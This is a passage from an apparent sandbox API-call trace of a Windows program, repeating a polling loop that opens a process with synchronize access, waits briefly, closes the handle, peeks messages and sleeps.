CloseHandle (hObject=0x4dcc) returned 1 [0312.637] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0312.637] Sleep (dwMilliseconds=0x1) [0312.654] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x4e14 [0312.654] WaitForSingleObject (hHandle=0x4e14, dwMilliseconds=0xa) returned 0x102 [0312.670] CloseHandle (hObject=0x4e14) returned 1 [0312.671] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0312.671] Sleep (dwMilliseconds=0x1) [0312.685] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x4e50 [0312.685] WaitForSingleObject (hHandle=0x4e50, dwMilliseconds=0xa) returned 0x102 [0312.699] CloseHandle (hObject=0x4e50) returned 1 [0312.699] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0312.699] Sleep (dwMilliseconds=0x1) [0312.716] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x4e58 [0312.716] WaitForSingleObject (hHandle=0x4e58, dwMilliseconds=0xa) returned 0x102 [0312.732] CloseHandle (hObject=0x4e58) returned 1 [0312.733] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0312.733] Sleep (dwMilliseconds=0x1) [0312.747] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x4e64 [0312.747] WaitForSingleObject (hHandle=0x4e64, dwMilliseconds=0xa) returned 0x102 [0312.762] CloseHandle (hObject=0x4e64) returned 1 [0312.762] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0312.762] Sleep (dwMilliseconds=0x1) [0312.778] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x4e68 [0312.778] WaitForSingleObject (hHandle=0x4e68, dwMilliseconds=0xa) returned 0x102 [0312.794] CloseHandle (hObject=0x4e68) returned 1 [0312.794] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0312.794] Sleep (dwMilliseconds=0x1) [0312.813] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x4ea4 [0312.813] WaitForSingleObject (hHandle=0x4ea4, dwMilliseconds=0xa) returned 0x102 [0312.827] CloseHandle (hObject=0x4ea4) returned 1 [0312.827] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0312.827] Sleep (dwMilliseconds=0x1) [0312.841] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x4ed8 [0312.841] WaitForSingleObject (hHandle=0x4ed8, dwMilliseconds=0xa) returned 0x102 [0312.856] CloseHandle (hObject=0x4ed8) returned 1 [0312.856] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0312.856] Sleep (dwMilliseconds=0x1) [0312.871] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x4ed8 [0312.871] WaitForSingleObject (hHandle=0x4ed8, dwMilliseconds=0xa) returned 0x102 [0312.888] CloseHandle (hObject=0x4ed8) returned 1 [0312.888] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0312.888] Sleep (dwMilliseconds=0x1) [0312.913] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x4f18 [0312.913] WaitForSingleObject (hHandle=0x4f18, dwMilliseconds=0xa) returned 0x102 [0312.918] CloseHandle (hObject=0x4f18) returned 1 [0312.918] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0312.918] Sleep (dwMilliseconds=0x1) [0312.934] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x4f18 [0312.934] WaitForSingleObject (hHandle=0x4f18, dwMilliseconds=0xa) returned 0x102 [0312.949] CloseHandle (hObject=0x4f18) returned 1 [0312.949] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0312.949] Sleep (dwMilliseconds=0x1) [0312.965] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x4f18 [0312.965] WaitForSingleObject (hHandle=0x4f18, dwMilliseconds=0xa) returned 0x102 [0312.981] CloseHandle (hObject=0x4f18) returned 1 [0312.981] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0312.981] Sleep (dwMilliseconds=0x1) [0312.998] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x4f2c [0312.998] WaitForSingleObject (hHandle=0x4f2c, dwMilliseconds=0xa) returned 0x102 [0313.012] CloseHandle (hObject=0x4f2c) returned 1 [0313.012] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0313.012] Sleep (dwMilliseconds=0x1) [0313.031] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x4f80 [0313.031] WaitForSingleObject (hHandle=0x4f80, dwMilliseconds=0xa) returned 0x102 [0313.047] CloseHandle (hObject=0x4f80) returned 1 [0313.047] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0313.047] Sleep (dwMilliseconds=0x1) [0313.063] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x4fbc [0313.063] WaitForSingleObject (hHandle=0x4fbc, dwMilliseconds=0xa) returned 0x102 [0313.075] CloseHandle (hObject=0x4fbc) returned 1 [0313.075] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0313.075] Sleep (dwMilliseconds=0x1) [0313.091] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x4fc0 [0313.091] WaitForSingleObject (hHandle=0x4fc0, dwMilliseconds=0xa) returned 0x102 [0313.106] CloseHandle (hObject=0x4fc0) returned 1 [0313.106] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0313.106] Sleep (dwMilliseconds=0x1) [0313.121] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x4fc0 [0313.121] WaitForSingleObject (hHandle=0x4fc0, dwMilliseconds=0xa) returned 0x102 [0313.137] CloseHandle (hObject=0x4fc0) returned 1 [0313.137] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0313.137] Sleep (dwMilliseconds=0x1) [0313.152] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x4fc0 [0313.152] WaitForSingleObject (hHandle=0x4fc0, dwMilliseconds=0xa) returned 0x102 [0313.168] CloseHandle (hObject=0x4fc0) returned 1 [0313.168] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0313.168] Sleep (dwMilliseconds=0x1) [0313.184] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x4fc0 [0313.184] WaitForSingleObject (hHandle=0x4fc0, dwMilliseconds=0xa) returned 0x102 [0313.201] CloseHandle (hObject=0x4fc0) returned 1 [0313.201] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0313.201] Sleep (dwMilliseconds=0x1) [0313.215] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x4fc0 [0313.215] WaitForSingleObject (hHandle=0x4fc0, dwMilliseconds=0xa) returned 0x102 [0313.231] CloseHandle (hObject=0x4fc0) returned 1 [0313.231] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0313.231] Sleep (dwMilliseconds=0x1) [0313.246] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x4fc0 [0313.246] WaitForSingleObject (hHandle=0x4fc0, dwMilliseconds=0xa) returned 0x102 [0313.262] CloseHandle (hObject=0x4fc0) returned 1 [0313.262] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0313.262] Sleep (dwMilliseconds=0x1) [0313.278] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x4fc0 [0313.278] WaitForSingleObject (hHandle=0x4fc0, dwMilliseconds=0xa) returned 0x102 [0313.293] CloseHandle (hObject=0x4fc0) returned 1 [0313.293] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0313.293] Sleep (dwMilliseconds=0x1) [0313.309] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x4fc0 [0313.309] WaitForSingleObject (hHandle=0x4fc0, dwMilliseconds=0xa) returned 0x102 [0313.326] CloseHandle (hObject=0x4fc0) returned 1 [0313.326] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0313.326] Sleep (dwMilliseconds=0x1) [0313.341] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x4ff4 [0313.341] WaitForSingleObject (hHandle=0x4ff4, dwMilliseconds=0xa) returned 0x102 [0313.363] CloseHandle (hObject=0x4ff4) returned 1 [0313.363] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0313.363] Sleep (dwMilliseconds=0x1) [0313.371] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x4ff4 [0313.371] WaitForSingleObject (hHandle=0x4ff4, dwMilliseconds=0xa) returned 0x102 [0313.388] CloseHandle (hObject=0x4ff4) returned 1 [0313.388] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0313.388] Sleep (dwMilliseconds=0x1) [0313.402] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x4ff4 [0313.402] WaitForSingleObject (hHandle=0x4ff4, dwMilliseconds=0xa) returned 0x102 [0313.423] CloseHandle (hObject=0x4ff4) returned 1 [0313.423] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0313.423] Sleep (dwMilliseconds=0x1) [0313.435] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x5040 [0313.435] WaitForSingleObject (hHandle=0x5040, dwMilliseconds=0xa) returned 0x102 [0313.449] CloseHandle (hObject=0x5040) returned 1 [0313.449] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0313.449] Sleep (dwMilliseconds=0x1) [0313.468] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x5090 [0313.468] WaitForSingleObject (hHandle=0x5090, dwMilliseconds=0xa) returned 0x102 [0313.481] CloseHandle (hObject=0x5090) returned 1 [0313.481] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0313.481] Sleep (dwMilliseconds=0x1) [0313.496] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x5090 [0313.496] WaitForSingleObject (hHandle=0x5090, dwMilliseconds=0xa) returned 0x102 [0313.512] CloseHandle (hObject=0x5090) returned 1 [0313.512] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0313.512] Sleep (dwMilliseconds=0x1) [0313.529] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x50a8 [0313.529] WaitForSingleObject (hHandle=0x50a8, dwMilliseconds=0xa) returned 0x102 [0313.543] CloseHandle (hObject=0x50a8) returned 1 [0313.543] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0313.543] Sleep (dwMilliseconds=0x1) [0313.559] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x50b0 [0313.559] WaitForSingleObject (hHandle=0x50b0, dwMilliseconds=0xa) returned 0x102 [0313.574] CloseHandle (hObject=0x50b0) returned 1 [0313.575] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0313.575] Sleep (dwMilliseconds=0x1) [0313.591] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x50b0 [0313.591] WaitForSingleObject (hHandle=0x50b0, dwMilliseconds=0xa) returned 0x102 [0313.606] CloseHandle (hObject=0x50b0) returned 1 [0313.606] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0313.606] Sleep (dwMilliseconds=0x1) [0313.624] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x50c8 [0313.624] WaitForSingleObject (hHandle=0x50c8, dwMilliseconds=0xa) returned 0x102 [0313.637] CloseHandle (hObject=0x50c8) returned 1 [0313.637] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0313.637] Sleep (dwMilliseconds=0x1) [0313.653] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x50c8 [0313.653] WaitForSingleObject (hHandle=0x50c8, dwMilliseconds=0xa) returned 0x102 [0313.668] CloseHandle (hObject=0x50c8) returned 1 [0313.668] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0313.668] Sleep (dwMilliseconds=0x1) [0313.684] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x50d8 [0313.684] WaitForSingleObject (hHandle=0x50d8, dwMilliseconds=0xa) returned 0x102 [0313.699] CloseHandle (hObject=0x50d8) returned 1 [0313.699] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0313.699] Sleep (dwMilliseconds=0x1) [0313.715] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x50dc [0313.715] WaitForSingleObject (hHandle=0x50dc, dwMilliseconds=0xa) returned 0x102 [0313.734] CloseHandle (hObject=0x50dc) returned 1 [0313.734] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0313.734] Sleep (dwMilliseconds=0x1) [0313.747] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x50e4 [0313.747] WaitForSingleObject (hHandle=0x50e4, dwMilliseconds=0xa) returned 0x102 [0313.762] CloseHandle (hObject=0x50e4) returned 1 [0313.762] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0313.762] Sleep (dwMilliseconds=0x1) [0313.778] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x50e4 [0313.778] WaitForSingleObject (hHandle=0x50e4, dwMilliseconds=0xa) returned 0x102 [0313.794] CloseHandle (hObject=0x50e4) returned 1 [0313.794] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0313.794] Sleep (dwMilliseconds=0x1) [0313.810] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x50ec [0313.810] WaitForSingleObject (hHandle=0x50ec, dwMilliseconds=0xa) returned 0x102 [0313.825] CloseHandle (hObject=0x50ec) returned 1 [0313.825] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0313.825] Sleep (dwMilliseconds=0x1) [0313.841] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x50f4 [0313.841] WaitForSingleObject (hHandle=0x50f4, dwMilliseconds=0xa) returned 0x102 [0313.857] CloseHandle (hObject=0x50f4) returned 1 [0313.857] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0313.857] Sleep (dwMilliseconds=0x1) [0313.871] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x50f4 [0313.871] WaitForSingleObject (hHandle=0x50f4, dwMilliseconds=0xa) returned 0x102 [0313.891] CloseHandle (hObject=0x50f4) returned 1 [0313.891] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0313.891] Sleep (dwMilliseconds=0x1) [0313.912] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x50f4 [0313.912] WaitForSingleObject (hHandle=0x50f4, dwMilliseconds=0xa) returned 0x102 [0313.919] CloseHandle (hObject=0x50f4) returned 1 [0313.919] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0313.919] Sleep (dwMilliseconds=0x1) [0313.939] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x510c [0313.939] WaitForSingleObject (hHandle=0x510c, dwMilliseconds=0xa) returned 0x102 [0313.959] CloseHandle (hObject=0x510c) returned 1 [0313.959] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0313.959] Sleep (dwMilliseconds=0x1) [0313.966] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x5114 [0313.966] WaitForSingleObject (hHandle=0x5114, dwMilliseconds=0xa) returned 0x102 [0313.981] CloseHandle (hObject=0x5114) returned 1 [0313.981] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0313.981] Sleep (dwMilliseconds=0x1) [0313.996] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x5114 [0313.996] WaitForSingleObject (hHandle=0x5114, dwMilliseconds=0xa) returned 0x102 [0314.014] CloseHandle (hObject=0x5114) returned 1 [0314.015] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0314.015] Sleep (dwMilliseconds=0x1) [0314.028] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x5114 [0314.028] WaitForSingleObject (hHandle=0x5114, dwMilliseconds=0xa) returned 0x102 [0314.046] CloseHandle (hObject=0x5114) returned 1 [0314.047] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0314.047] Sleep (dwMilliseconds=0x1) [0314.064] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x5174 [0314.064] WaitForSingleObject (hHandle=0x5174, dwMilliseconds=0xa) returned 0x102 [0314.077] CloseHandle (hObject=0x5174) returned 1 [0314.077] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0314.077] Sleep (dwMilliseconds=0x1) [0314.090] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x5174 [0314.090] WaitForSingleObject (hHandle=0x5174, dwMilliseconds=0xa) returned 0x102 [0314.106] CloseHandle (hObject=0x5174) returned 1 [0314.106] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0314.106] Sleep (dwMilliseconds=0x1) [0314.121] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x5174 [0314.121] WaitForSingleObject (hHandle=0x5174, dwMilliseconds=0xa) returned 0x102 [0314.140] CloseHandle (hObject=0x5174) returned 1 [0314.140] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0314.140] Sleep (dwMilliseconds=0x1) [0314.156] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x51d8 [0314.156] WaitForSingleObject (hHandle=0x51d8, dwMilliseconds=0xa) returned 0x102 [0314.168] CloseHandle (hObject=0x51d8) returned 1 [0314.168] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0314.168] Sleep (dwMilliseconds=0x1) [0314.188] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x51ec [0314.188] WaitForSingleObject (hHandle=0x51ec, dwMilliseconds=0xa) returned 0x102 [0314.199] CloseHandle (hObject=0x51ec) returned 1 [0314.199] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0314.199] Sleep (dwMilliseconds=0x1) [0314.215] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x51ec [0314.215] WaitForSingleObject (hHandle=0x51ec, dwMilliseconds=0xa) returned 0x102 [0314.231] CloseHandle (hObject=0x51ec) returned 1 [0314.231] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0314.231] Sleep (dwMilliseconds=0x1) [0314.246] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x5200 [0314.246] WaitForSingleObject (hHandle=0x5200, dwMilliseconds=0xa) returned 0x102 [0314.262] CloseHandle (hObject=0x5200) returned 1 [0314.262] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0314.262] Sleep (dwMilliseconds=0x1) [0314.277] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x5200 [0314.277] WaitForSingleObject (hHandle=0x5200, dwMilliseconds=0xa) returned 0x102 [0314.293] CloseHandle (hObject=0x5200) returned 1 [0314.293] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0314.293] Sleep (dwMilliseconds=0x1) [0314.308] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x5220 [0314.309] WaitForSingleObject (hHandle=0x5220, dwMilliseconds=0xa) returned 0x102 [0314.324] CloseHandle (hObject=0x5220) returned 1 [0314.324] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0314.324] Sleep (dwMilliseconds=0x1) [0314.344] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x5228 [0314.344] WaitForSingleObject (hHandle=0x5228, dwMilliseconds=0xa) returned 0x102 [0314.355] CloseHandle (hObject=0x5228) returned 1 [0314.356] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0314.356] Sleep (dwMilliseconds=0x1) [0314.372] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x5244 [0314.372] WaitForSingleObject (hHandle=0x5244, dwMilliseconds=0xa) returned 0x102 [0314.388] CloseHandle (hObject=0x5244) returned 1 [0314.388] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0314.388] Sleep (dwMilliseconds=0x1) [0314.402] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x5264 [0314.402] WaitForSingleObject (hHandle=0x5264, dwMilliseconds=0xa) returned 0x102 [0314.418] CloseHandle (hObject=0x5264) returned 1 [0314.418] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0314.418] Sleep (dwMilliseconds=0x1) [0314.437] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x5284 [0314.437] WaitForSingleObject (hHandle=0x5284, 